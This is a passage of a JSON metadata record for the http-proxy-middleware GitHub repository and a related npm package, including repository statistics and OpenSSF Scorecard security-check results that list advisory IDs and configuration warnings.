{"id":378583,"url":"https://github.com/chimurai/http-proxy-middleware","last_synced_at":"2026-07-11T11:30:24.131Z","repository":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-07-05T20:47:16.000Z","size":4431,"stargazers_count":11134,"open_issues_count":18,"forks_count":882,"subscribers_count":114,"default_branch":"master","last_synced_at":"2026-07-07T06:29:52.772Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-07-05T20:47:19.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":92,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":35329609,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-07-10T02:00:06.465Z","response_time":60,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"chimurai","name":"Steven Chim","uuid":"655241","kind":"user","description":"","email":"","website":null,"location":"Planet Earth, Milky Way","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/655241?v=4","repositories_count":20,"last_synced_at":"2024-04-23T19:43:31.983Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/chimurai","funding_links":[],"total_stars":10470,"followers":158,"following":30,"created_at":"2022-11-02T16:21:00.461Z","updated_at":"2024-04-23T19:43:38.219Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai/repositories"},"packages":[{"id":2065816,"name":"nesto-http-proxy-middleware","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express and browser-sync","homepage":"https://github.com/chimurai/http-proxy-middleware","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":null,"versions_count":1,"first_release_published_at":"2017-11-12T17:40:46.127Z","latest_release_published_at":"2017-11-12T17:40:46.127Z","latest_release_number":"10.0.0","last_synced_at":"2026-07-10T15:02:37.775Z","created_at":"2022-04-09T20:32:05.453Z","updated_at":"2026-07-10T15:02:37.775Z","registry_url":"https://www.npmjs.com/package/nesto-http-proxy-middleware","install_command":"npm install nesto-http-proxy-middleware","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"10.0.0"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:17.231Z","dependent_packages_count":1,"downloads":33,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":34.94486345978555,"dependent_repos_count":10.769523647389562,"dependent_packages_count":21.318711782054763,"stargazers_count":1.0451568123378532,"forks_count":1.3457785569223177,"docker_downloads_count":null,"average":13.884806851698011},"purl":"pkg:npm/nesto-http-proxy-middleware","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/nesto-http-proxy-middleware","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/nesto-http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/nesto-http-proxy-middleware/dependencies","status":null,"f